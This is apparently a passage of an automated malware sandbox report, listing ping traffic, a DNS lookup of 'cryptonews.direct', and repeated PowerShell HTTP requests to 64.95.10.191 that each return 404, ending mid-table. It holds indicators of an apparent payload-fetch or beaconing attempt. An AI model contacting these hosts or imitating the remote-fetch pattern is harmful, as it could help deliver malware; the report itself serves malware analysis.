Apr 23, 2024 17:48:35.050477028 CEST	1.1.1.1	192.168.2.9	54b5	Echo Reply
Apr 23, 2024 17:48:35.957345009 CEST	192.168.2.9	1.1.1.1	4cb4	Echo
Apr 23, 2024 17:48:36.063210964 CEST	1.1.1.1	192.168.2.9	54b4	Echo Reply
Apr 23, 2024 17:48:36.972881079 CEST	192.168.2.9	1.1.1.1	4cb3	Echo
Apr 23, 2024 17:48:37.078782082 CEST	1.1.1.1	192.168.2.9	54b3	Echo Reply
Apr 23, 2024 17:48:37.402734041 CEST	192.168.2.9	1.1.1.1	4cb2	Echo
Apr 23, 2024 17:48:37.508552074 CEST	1.1.1.1	192.168.2.9	54b2	Echo Reply
Apr 23, 2024 17:48:38.412591934 CEST	192.168.2.9	1.1.1.1	4cb1	Echo
Apr 23, 2024 17:48:38.518676996 CEST	1.1.1.1	192.168.2.9	54b1	Echo Reply
Apr 23, 2024 17:48:39.428920031 CEST	192.168.2.9	1.1.1.1	4cb0	Echo
Apr 23, 2024 17:48:39.535012960 CEST	1.1.1.1	192.168.2.9	54b0	Echo Reply
Apr 23, 2024 17:48:40.444598913 CEST	192.168.2.9	1.1.1.1	4caf	Echo
Apr 23, 2024 17:48:40.550544024 CEST	1.1.1.1	192.168.2.9	54af	Echo Reply
Apr 23, 2024 17:48:40.600706100 CEST	192.168.2.9	1.1.1.1	4cae	Echo
Apr 23, 2024 17:48:40.706702948 CEST	1.1.1.1	192.168.2.9	54ae	Echo Reply
Apr 23, 2024 17:48:41.614042997 CEST	192.168.2.9	1.1.1.1	4cad	Echo
Apr 23, 2024 17:48:41.720401049 CEST	1.1.1.1	192.168.2.9	54ad	Echo Reply
Apr 23, 2024 17:48:42.632594109 CEST	192.168.2.9	1.1.1.1	4cac	Echo
Apr 23, 2024 17:48:42.738646984 CEST	1.1.1.1	192.168.2.9	54ac	Echo Reply
Apr 23, 2024 17:48:43.644746065 CEST	192.168.2.9	1.1.1.1	4cab	Echo
Apr 23, 2024 17:48:43.750701904 CEST	1.1.1.1	192.168.2.9	54ab	Echo Reply
Apr 23, 2024 17:48:44.055718899 CEST	192.168.2.9	1.1.1.1	4caa	Echo
Apr 23, 2024 17:48:44.161751032 CEST	1.1.1.1	192.168.2.9	54aa	Echo Reply
Apr 23, 2024 17:48:45.066732883 CEST	192.168.2.9	1.1.1.1	4ca9	Echo
Apr 23, 2024 17:48:45.174555063 CEST	1.1.1.1	192.168.2.9	54a9	Echo Reply
Apr 23, 2024 17:48:46.083615065 CEST	192.168.2.9	1.1.1.1	4ca8	Echo
Apr 23, 2024 17:48:46.189637899 CEST	1.1.1.1	192.168.2.9	54a8	Echo Reply
Apr 23, 2024 17:48:47.098129988 CEST	192.168.2.9	1.1.1.1	4ca7	Echo
Apr 23, 2024 17:48:47.204071999 CEST	1.1.1.1	192.168.2.9	54a7	Echo Reply
Apr 23, 2024 17:48:47.233124971 CEST	192.168.2.9	1.1.1.1	4ca6	Echo
Apr 23, 2024 17:48:47.339027882 CEST	1.1.1.1	192.168.2.9	54a6	Echo Reply
Apr 23, 2024 17:48:48.238718987 CEST	192.168.2.9	1.1.1.1	4ca5	Echo
Apr 23, 2024 17:48:48.344746113 CEST	1.1.1.1	192.168.2.9	54a5	Echo Reply
Apr 23, 2024 17:48:49.254175901 CEST	192.168.2.9	1.1.1.1	4ca4	Echo
Apr 23, 2024 17:48:49.360260010 CEST	1.1.1.1	192.168.2.9	54a4	Echo Reply
Apr 23, 2024 17:48:50.272595882 CEST	192.168.2.9	1.1.1.1	4ca3	Echo
Apr 23, 2024 17:48:50.378577948 CEST	1.1.1.1	192.168.2.9	54a3	Echo Reply
Apr 23, 2024 17:48:50.680814028 CEST	192.168.2.9	1.1.1.1	4ca2	Echo
Apr 23, 2024 17:48:50.786844969 CEST	1.1.1.1	192.168.2.9	54a2	Echo Reply
Apr 23, 2024 17:48:51.691667080 CEST	192.168.2.9	1.1.1.1	4ca1	Echo
Apr 23, 2024 17:48:51.797714949 CEST	1.1.1.1	192.168.2.9	54a1	Echo Reply
Apr 23, 2024 17:48:52.707283974 CEST	192.168.2.9	1.1.1.1	4ca0	Echo
Apr 23, 2024 17:48:52.813694000 CEST	1.1.1.1	192.168.2.9	54a0	Echo Reply
Apr 23, 2024 17:48:53.722980976 CEST	192.168.2.9	1.1.1.1	4c9f	Echo
Apr 23, 2024 17:48:53.831155062 CEST	1.1.1.1	192.168.2.9	549f	Echo Reply
Apr 23, 2024 17:48:53.858412981 CEST	192.168.2.9	1.1.1.1	4c9e	Echo
Apr 23, 2024 17:48:53.964255095 CEST	1.1.1.1	192.168.2.9	549e	Echo Reply
Apr 23, 2024 17:48:54.864613056 CEST	192.168.2.9	1.1.1.1	4c9d	Echo
Apr 23, 2024 17:48:54.971172094 CEST	1.1.1.1	192.168.2.9	549d	Echo Reply
Apr 23, 2024 17:48:55.879489899 CEST	192.168.2.9	1.1.1.1	4c9c	Echo
Apr 23, 2024 17:48:55.985510111 CEST	1.1.1.1	192.168.2.9	549c	Echo Reply
Apr 23, 2024 17:48:56.896593094 CEST	192.168.2.9	1.1.1.1	4c9b	Echo
Apr 23, 2024 17:48:57.002840996 CEST	1.1.1.1	192.168.2.9	549b	Echo Reply
Apr 23, 2024 17:48:57.315768957 CEST	192.168.2.9	1.1.1.1	4c9a	Echo
Apr 23, 2024 17:48:57.421905994 CEST	1.1.1.1	192.168.2.9	549a	Echo Reply
Apr 23, 2024 17:48:58.334604979 CEST	192.168.2.9	1.1.1.1	4c99	Echo
Apr 23, 2024 17:48:58.440727949 CEST	1.1.1.1	192.168.2.9	5499	Echo Reply
Apr 23, 2024 17:48:59.348026991 CEST	192.168.2.9	1.1.1.1	4c98	Echo
Apr 23, 2024 17:48:59.454112053 CEST	1.1.1.1	192.168.2.9	5498	Echo Reply
Apr 23, 2024 17:49:00.367904902 CEST	192.168.2.9	1.1.1.1	4c97	Echo
Apr 23, 2024 17:49:00.473932981 CEST	1.1.1.1	192.168.2.9	5497	Echo Reply
Apr 23, 2024 17:49:00.500590086 CEST	192.168.2.9	1.1.1.1	4c96	Echo
Apr 23, 2024 17:49:00.606506109 CEST	1.1.1.1	192.168.2.9	5496	Echo Reply
Apr 23, 2024 17:49:01.504194975 CEST	192.168.2.9	1.1.1.1	4c95	Echo
Apr 23, 2024 17:49:01.610138893 CEST	1.1.1.1	192.168.2.9	5495	Echo Reply
Apr 23, 2024 17:49:02.519948959 CEST	192.168.2.9	1.1.1.1	4c94	Echo
Apr 23, 2024 17:49:02.625943899 CEST	1.1.1.1	192.168.2.9	5494	Echo Reply
Apr 23, 2024 17:49:03.535578012 CEST	192.168.2.9	1.1.1.1	4c93	Echo
Apr 23, 2024 17:49:03.641803026 CEST	1.1.1.1	192.168.2.9	5493	Echo Reply
Apr 23, 2024 17:49:03.954288960 CEST	192.168.2.9	1.1.1.1	4c92	Echo
Apr 23, 2024 17:49:04.060182095 CEST	1.1.1.1	192.168.2.9	5492	Echo Reply
Apr 23, 2024 17:49:04.957367897 CEST	192.168.2.9	1.1.1.1	4c91	Echo
Apr 23, 2024 17:49:05.063426971 CEST	1.1.1.1	192.168.2.9	5491	Echo Reply
Apr 23, 2024 17:49:05.972867966 CEST	192.168.2.9	1.1.1.1	4c90	Echo
Apr 23, 2024 17:49:06.078890085 CEST	1.1.1.1	192.168.2.9	5490	Echo Reply
Apr 23, 2024 17:49:06.990607023 CEST	192.168.2.9	1.1.1.1	4c8f	Echo
Apr 23, 2024 17:49:07.096693039 CEST	1.1.1.1	192.168.2.9	548f	Echo Reply
Apr 23, 2024 17:49:07.129703045 CEST	192.168.2.9	1.1.1.1	4c8e	Echo
Apr 23, 2024 17:49:07.236130953 CEST	1.1.1.1	192.168.2.9	548e	Echo Reply
Apr 23, 2024 17:49:08.144978046 CEST	192.168.2.9	1.1.1.1	4c8d	Echo
Apr 23, 2024 17:49:08.250988960 CEST	1.1.1.1	192.168.2.9	548d	Echo Reply
Apr 23, 2024 17:49:09.741988897 CEST	192.168.2.9	1.1.1.1	4c8c	Echo
Apr 23, 2024 17:49:09.848068953 CEST	1.1.1.1	192.168.2.9	548c	Echo Reply
Apr 23, 2024 17:49:10.785437107 CEST	192.168.2.9	1.1.1.1	4c8b	Echo
Apr 23, 2024 17:49:10.891729116 CEST	1.1.1.1	192.168.2.9	548b	Echo Reply
Apr 23, 2024 17:49:11.217905998 CEST	192.168.2.9	1.1.1.1	4c8a	Echo
Apr 23, 2024 17:49:11.323883057 CEST	1.1.1.1	192.168.2.9	548a	Echo Reply
Apr 23, 2024 17:49:12.222959042 CEST	192.168.2.9	1.1.1.1	4c89	Echo
Apr 23, 2024 17:49:12.328815937 CEST	1.1.1.1	192.168.2.9	5489	Echo Reply
Apr 23, 2024 17:49:13.238643885 CEST	192.168.2.9	1.1.1.1	4c88	Echo
Apr 23, 2024 17:49:13.344718933 CEST	1.1.1.1	192.168.2.9	5488	Echo Reply
Apr 23, 2024 17:49:14.254406929 CEST	192.168.2.9	1.1.1.1	4c87	Echo
Apr 23, 2024 17:49:14.360392094 CEST	1.1.1.1	192.168.2.9	5487	Echo Reply
Apr 23, 2024 17:49:14.388942003 CEST	192.168.2.9	1.1.1.1	4c86	Echo
Apr 23, 2024 17:49:14.494918108 CEST	1.1.1.1	192.168.2.9	5486	Echo Reply
Apr 23, 2024 17:49:15.396599054 CEST	192.168.2.9	1.1.1.1	4c85	Echo
Apr 23, 2024 17:49:15.502756119 CEST	1.1.1.1	192.168.2.9	5485	Echo Reply
Apr 23, 2024 17:49:16.410564899 CEST	192.168.2.9	1.1.1.1	4c84	Echo
Apr 23, 2024 17:49:16.516659021 CEST	1.1.1.1	192.168.2.9	5484	Echo Reply
Apr 23, 2024 17:49:17.427169085 CEST	192.168.2.9	1.1.1.1	4c83	Echo
Apr 23, 2024 17:49:17.533283949 CEST	1.1.1.1	192.168.2.9	5483	Echo Reply
Apr 23, 2024 17:49:17.850615025 CEST	192.168.2.9	1.1.1.1	4c82	Echo
Apr 23, 2024 17:49:17.956533909 CEST	1.1.1.1	192.168.2.9	5482	Echo Reply
Apr 23, 2024 17:49:18.863755941 CEST	192.168.2.9	1.1.1.1	4c81	Echo
Apr 23, 2024 17:49:18.970089912 CEST	1.1.1.1	192.168.2.9	5481	Echo Reply
Apr 23, 2024 17:49:19.880597115 CEST	192.168.2.9	1.1.1.1	4c80	Echo
Apr 23, 2024 17:49:19.986684084 CEST	1.1.1.1	192.168.2.9	5480	Echo Reply
Apr 23, 2024 17:49:20.895025015 CEST	192.168.2.9	1.1.1.1	4c7f	Echo
Apr 23, 2024 17:49:21.001421928 CEST	1.1.1.1	192.168.2.9	547f	Echo Reply
Apr 23, 2024 17:49:21.042119980 CEST	192.168.2.9	1.1.1.1	4c7e	Echo
Apr 23, 2024 17:49:21.147984028 CEST	1.1.1.1	192.168.2.9	547e	Echo Reply
Apr 23, 2024 17:49:22.051198959 CEST	192.168.2.9	1.1.1.1	4c7d	Echo
Apr 23, 2024 17:49:22.157365084 CEST	1.1.1.1	192.168.2.9	547d	Echo Reply
Apr 23, 2024 17:49:23.066728115 CEST	192.168.2.9	1.1.1.1	4c7c	Echo
Apr 23, 2024 17:49:23.172770977 CEST	1.1.1.1	192.168.2.9	547c	Echo Reply
Apr 23, 2024 17:49:24.087836027 CEST	192.168.2.9	1.1.1.1	4c7b	Echo
Apr 23, 2024 17:49:24.193972111 CEST	1.1.1.1	192.168.2.9	547b	Echo Reply
Apr 23, 2024 17:49:24.528692007 CEST	192.168.2.9	1.1.1.1	4c7a	Echo
Apr 23, 2024 17:49:24.634609938 CEST	1.1.1.1	192.168.2.9	547a	Echo Reply
Apr 23, 2024 17:49:25.711424112 CEST	192.168.2.9	1.1.1.1	4c79	Echo
Apr 23, 2024 17:49:25.818238020 CEST	1.1.1.1	192.168.2.9	5479	Echo Reply
Apr 23, 2024 17:49:27.207710028 CEST	192.168.2.9	1.1.1.1	4c78	Echo
Apr 23, 2024 17:49:27.314172029 CEST	1.1.1.1	192.168.2.9	5478	Echo Reply
Apr 23, 2024 17:49:28.285454988 CEST	192.168.2.9	1.1.1.1	4c77	Echo
Apr 23, 2024 17:49:28.391434908 CEST	1.1.1.1	192.168.2.9	5477	Echo Reply
Apr 23, 2024 17:49:28.455487013 CEST	192.168.2.9	1.1.1.1	4c76	Echo
Apr 23, 2024 17:49:28.561400890 CEST	1.1.1.1	192.168.2.9	5476	Echo Reply
Apr 23, 2024 17:49:29.472970009 CEST	192.168.2.9	1.1.1.1	4c75	Echo
Apr 23, 2024 17:49:29.579148054 CEST	1.1.1.1	192.168.2.9	5475	Echo Reply
Apr 23, 2024 17:49:30.489196062 CEST	192.168.2.9	1.1.1.1	4c74	Echo
Apr 23, 2024 17:49:30.595321894 CEST	1.1.1.1	192.168.2.9	5474	Echo Reply
Apr 23, 2024 17:49:31.520006895 CEST	192.168.2.9	1.1.1.1	4c73	Echo
Apr 23, 2024 17:49:31.626465082 CEST	1.1.1.1	192.168.2.9	5473	Echo Reply
Apr 23, 2024 17:49:31.664880991 CEST	192.168.2.9	1.1.1.1	4c72	Echo
Apr 23, 2024 17:49:31.770773888 CEST	1.1.1.1	192.168.2.9	5472	Echo Reply
Apr 23, 2024 17:49:32.677383900 CEST	192.168.2.9	1.1.1.1	4c71	Echo
Apr 23, 2024 17:49:32.783536911 CEST	1.1.1.1	192.168.2.9	5471	Echo Reply
Apr 23, 2024 17:49:33.691850901 CEST	192.168.2.9	1.1.1.1	4c70	Echo
Apr 23, 2024 17:49:33.797821045 CEST	1.1.1.1	192.168.2.9	5470	Echo Reply
Apr 23, 2024 17:49:34.708612919 CEST	192.168.2.9	1.1.1.1	4c6f	Echo
Apr 23, 2024 17:49:34.814687967 CEST	1.1.1.1	192.168.2.9	546f	Echo Reply
Apr 23, 2024 17:49:34.872610092 CEST	192.168.2.9	1.1.1.1	4c6e	Echo
Apr 23, 2024 17:49:34.978581905 CEST	1.1.1.1	192.168.2.9	546e	Echo Reply
Apr 23, 2024 17:49:35.879251957 CEST	192.168.2.9	1.1.1.1	4c6d	Echo
Apr 23, 2024 17:49:35.985162973 CEST	1.1.1.1	192.168.2.9	546d	Echo Reply
Apr 23, 2024 17:49:36.896609068 CEST	192.168.2.9	1.1.1.1	4c6c	Echo
Apr 23, 2024 17:49:37.002722979 CEST	1.1.1.1	192.168.2.9	546c	Echo Reply
Apr 23, 2024 17:49:37.910422087 CEST	192.168.2.9	1.1.1.1	4c6b	Echo
Apr 23, 2024 17:49:38.016324997 CEST	1.1.1.1	192.168.2.9	546b	Echo Reply
Apr 23, 2024 17:49:38.348604918 CEST	192.168.2.9	1.1.1.1	4c6a	Echo
Apr 23, 2024 17:49:38.454735994 CEST	1.1.1.1	192.168.2.9	546a	Echo Reply
Apr 23, 2024 17:49:39.363893986 CEST	192.168.2.9	1.1.1.1	4c69	Echo
Apr 23, 2024 17:49:39.470032930 CEST	1.1.1.1	192.168.2.9	5469	Echo Reply
Apr 23, 2024 17:49:40.380620956 CEST	192.168.2.9	1.1.1.1	4c68	Echo
Apr 23, 2024 17:49:40.486679077 CEST	1.1.1.1	192.168.2.9	5468	Echo Reply
Apr 23, 2024 17:49:41.394908905 CEST	192.168.2.9	1.1.1.1	4c67	Echo
Apr 23, 2024 17:49:41.500771999 CEST	1.1.1.1	192.168.2.9	5467	Echo Reply
Apr 23, 2024 17:49:41.529803038 CEST	192.168.2.9	1.1.1.1	4c66	Echo
Apr 23, 2024 17:49:41.636240959 CEST	1.1.1.1	192.168.2.9	5466	Echo Reply
Apr 23, 2024 17:49:42.535414934 CEST	192.168.2.9	1.1.1.1	4c65	Echo
Apr 23, 2024 17:49:42.641309977 CEST	1.1.1.1	192.168.2.9	5465	Echo Reply
Apr 23, 2024 17:49:43.660116911 CEST	192.168.2.9	1.1.1.1	4c64	Echo
Apr 23, 2024 17:49:43.766237974 CEST	1.1.1.1	192.168.2.9	5464	Echo Reply
Apr 23, 2024 17:49:44.941698074 CEST	192.168.2.9	1.1.1.1	4c63	Echo
Apr 23, 2024 17:49:45.047694921 CEST	1.1.1.1	192.168.2.9	5463	Echo Reply
Apr 23, 2024 17:49:45.345982075 CEST	192.168.2.9	1.1.1.1	4c62	Echo
Apr 23, 2024 17:49:45.452872038 CEST	1.1.1.1	192.168.2.9	5462	Echo Reply
Apr 23, 2024 17:49:46.364609003 CEST	192.168.2.9	1.1.1.1	4c61	Echo
Apr 23, 2024 17:49:46.470640898 CEST	1.1.1.1	192.168.2.9	5461	Echo Reply
Apr 23, 2024 17:49:47.379193068 CEST	192.168.2.9	1.1.1.1	4c60	Echo
Apr 23, 2024 17:49:47.485318899 CEST	1.1.1.1	192.168.2.9	5460	Echo Reply
Apr 23, 2024 17:49:48.394834995 CEST	192.168.2.9	1.1.1.1	4c5f	Echo
Apr 23, 2024 17:49:48.500895977 CEST	1.1.1.1	192.168.2.9	545f	Echo Reply
Apr 23, 2024 17:49:48.532614946 CEST	192.168.2.9	1.1.1.1	4c5e	Echo
Apr 23, 2024 17:49:48.638597012 CEST	1.1.1.1	192.168.2.9	545e	Echo Reply
Apr 23, 2024 17:49:49.536734104 CEST	192.168.2.9	1.1.1.1	4c5d	Echo
Apr 23, 2024 17:49:49.642733097 CEST	1.1.1.1	192.168.2.9	545d	Echo Reply
Apr 23, 2024 17:49:50.552717924 CEST	192.168.2.9	1.1.1.1	4c5c	Echo
Apr 23, 2024 17:49:50.658915997 CEST	1.1.1.1	192.168.2.9	545c	Echo Reply
Apr 23, 2024 17:49:51.566797018 CEST	192.168.2.9	1.1.1.1	4c5b	Echo
Apr 23, 2024 17:49:51.672919989 CEST	1.1.1.1	192.168.2.9	545b	Echo Reply
Apr 23, 2024 17:49:52.000655890 CEST	192.168.2.9	1.1.1.1	4c5a	Echo
Apr 23, 2024 17:49:52.106590986 CEST	1.1.1.1	192.168.2.9	545a	Echo Reply
Apr 23, 2024 17:49:53.006671906 CEST	192.168.2.9	1.1.1.1	4c59	Echo
Apr 23, 2024 17:49:53.112643957 CEST	1.1.1.1	192.168.2.9	5459	Echo Reply
Apr 23, 2024 17:49:54.019830942 CEST	192.168.2.9	1.1.1.1	4c58	Echo
Apr 23, 2024 17:49:54.125792980 CEST	1.1.1.1	192.168.2.9	5458	Echo Reply
Apr 23, 2024 17:49:55.036611080 CEST	192.168.2.9	1.1.1.1	4c57	Echo
Apr 23, 2024 17:49:55.142745972 CEST	1.1.1.1	192.168.2.9	5457	Echo Reply
Apr 23, 2024 17:49:55.567886114 CEST	192.168.2.9	1.1.1.1	4c56	Echo
Apr 23, 2024 17:49:55.673727036 CEST	1.1.1.1	192.168.2.9	5456	Echo Reply
Apr 23, 2024 17:49:56.582374096 CEST	192.168.2.9	1.1.1.1	4c55	Echo
Apr 23, 2024 17:49:56.688344955 CEST	1.1.1.1	192.168.2.9	5455	Echo Reply
Apr 23, 2024 17:49:57.597949028 CEST	192.168.2.9	1.1.1.1	4c54	Echo
Apr 23, 2024 17:49:57.703881025 CEST	1.1.1.1	192.168.2.9	5454	Echo Reply
Apr 23, 2024 17:49:58.613593102 CEST	192.168.2.9	1.1.1.1	4c53	Echo
Apr 23, 2024 17:49:58.719757080 CEST	1.1.1.1	192.168.2.9	5453	Echo Reply
Apr 23, 2024 17:49:59.019943953 CEST	192.168.2.9	1.1.1.1	4c52	Echo
Apr 23, 2024 17:49:59.125730991 CEST	1.1.1.1	192.168.2.9	5452	Echo Reply
Apr 23, 2024 17:50:00.035471916 CEST	192.168.2.9	1.1.1.1	4c51	Echo
Apr 23, 2024 17:50:00.141520023 CEST	1.1.1.1	192.168.2.9	5451	Echo Reply
Apr 23, 2024 17:50:01.051052094 CEST	192.168.2.9	1.1.1.1	4c50	Echo
Apr 23, 2024 17:50:01.157022953 CEST	1.1.1.1	192.168.2.9	5450	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 17:45:55.284347057 CEST	192.168.2.9	1.1.1.1	0x7e35	Standard query (0)	cryptonews.direct	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 17:45:55.424246073 CEST	1.1.1.1	192.168.2.9	0x7e35	No error (0)	cryptonews.direct		172.67.168.231	A (IP address)	IN (0x0001)	false
Apr 23, 2024 17:45:55.424246073 CEST	1.1.1.1	192.168.2.9	0x7e35	No error (0)	cryptonews.direct		104.21.27.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cryptonews.direct

64.95.10.191

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49712	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:21.011342049 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:46:21.196289062 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:21 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49713	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:28.629365921 CEST	48	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191
Apr 23, 2024 17:46:28.790913105 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:28 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49714	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:35.321919918 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:46:35.484164000 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:35 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49715	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:42.055190086 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:46:42.202147961 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:42 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49716	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:48.808165073 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:46:48.950421095 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:48 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49718	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:46:55.520025015 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:46:55.665108919 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:46:55 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49719	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:02.261693954 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:02.413923979 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:02 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49720	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:08.961628914 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:09.132788897 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:09 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49721	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:15.894783020 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:16.059760094 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:15 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49722	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:22.752999067 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:22.896133900 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:22 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49723	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 17:47:29.469980001 CEST	72	OUT	GET /2220045058 HTTP/1.1 Host: 64.95.10.191 Connection: Keep-Alive
Apr 23, 2024 17:47:29.644107103 CEST	275	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 Content-Length: 9 ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg" Date: Tue, 23 Apr 2024 15:47:29 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49724	64.95.10.191	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
